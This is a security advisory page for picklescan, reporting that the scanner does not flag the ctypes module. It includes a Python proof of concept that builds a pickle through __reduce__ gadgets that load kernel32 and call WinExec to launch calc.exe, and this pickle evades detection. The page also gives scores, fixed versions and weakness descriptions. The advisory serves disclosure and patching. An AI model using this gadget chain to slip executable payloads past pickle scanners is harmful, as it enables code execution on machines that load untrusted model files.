GHSA-4675-36f9-wf6r CVE-2025-71323 PYSEC-2026-1782
Picklescan does not block ctypes
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 0.99%
- Chance of exploitation in the next 30 days. Higher than 62.55% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-184 Incomplete List of Disallowed Inputs
- CWE-913 Improper Control of Dynamically-Managed Code Resources
- Fix
0.0.33- Upgrade picklescan to this version or later
Description
Summary
Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to
- Load DLLs
- Call C functions directly
- Manipulate memory raw pointers.
This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.
This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected
PoC
import pickle
import ctypes
import operator
class Kernel32Loader:
def __reduce__(self):
#we go direct to the kerneeellllllll
return (ctypes.WinDLL, ("kernel32.dll",))
class WinExecGetter:
def __reduce__(self):
return (operator.itemgetter("WinExec"), (Kernel32Loader(),))
class PopCalc:
def __reduce__(self):
#methodcaller to invoke "__call__" on the function pointer.
return (
operator.methodcaller("__call__", b"calc.exe", 1),
(WinExecGetter(),)
)
try:
payload = pickle.dumps(PopCalc())
with open("calc_exploit.pkl", "wb") as f:
f.write(payload)
print("Generated 'calc_exploit.pkl'")
except Exception as e:
print(f"Generation failed: {e}")
This will create a pickle file which is not detected by the latest version of picklescan as malicious
import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))
<img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| picklescan | < 0.0.33 |
0.0.33 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
picklescan PyPI → 0.0.33
- pip
pip install --upgrade "picklescan>=0.0.33"- poetry
poetry add "picklescan>=0.0.33"- uv
uv add "picklescan>=0.0.33"
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Proof of concept
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-184: Incomplete List of Disallowed Inputs
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
How to prevent it
- Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CWE-913: Improper Control of Dynamically-Managed Code Resources
The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.
How to prevent it
- Implementation: For any externally-influenced input, check the input against an allowlist of acceptable values.
- Implementation, Architecture and Design: Refactor the code so that it does not need to be dynamically managed.
References
Advisories
Packages
Other links
- github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r
- github.com/mmaitre314/picklescan/pull/53
- github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
- github.com/mmaitre314/picklescan/releases/tag/v0.0.33
- vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-g38g-8gr9-h9xp PickleScan has multiple stdlib modules with direct RCE not in blocklist | Critical | Also affects picklescan |
| GHSA-vvpj-8cmc-gx39 PickleScan's pkgutil.resolve_name has a universal blocklist bypass | Critical | Also affects picklescan |
| GHSA-7wx9-6375-f5wh PickleScan's profile.run blocklist mismatch allows exec() bypass | Critical | Also affects picklescan |
| GHSA-97f8-7cmv-76j2 Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER | High | Also affects picklescan |
| GHSA-m7j5-r2p5-c39r picklescan vulnerable to arbitrary file create using logging.FileHandler | Medium | Also affects picklescan |
| GHSA-9m3x-qqw2-h32h picklescan missing detection by simple obfuscation of a `builtins.eval` call | Critical | Also affects picklescan |
| GHSA-9726-w42j-3qjr picklescan has Arbitrary file read using `io.FileIO` | High | Also affects picklescan |
| GHSA-46h3-79wf-xr6c Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter | High | Also affects picklescan |
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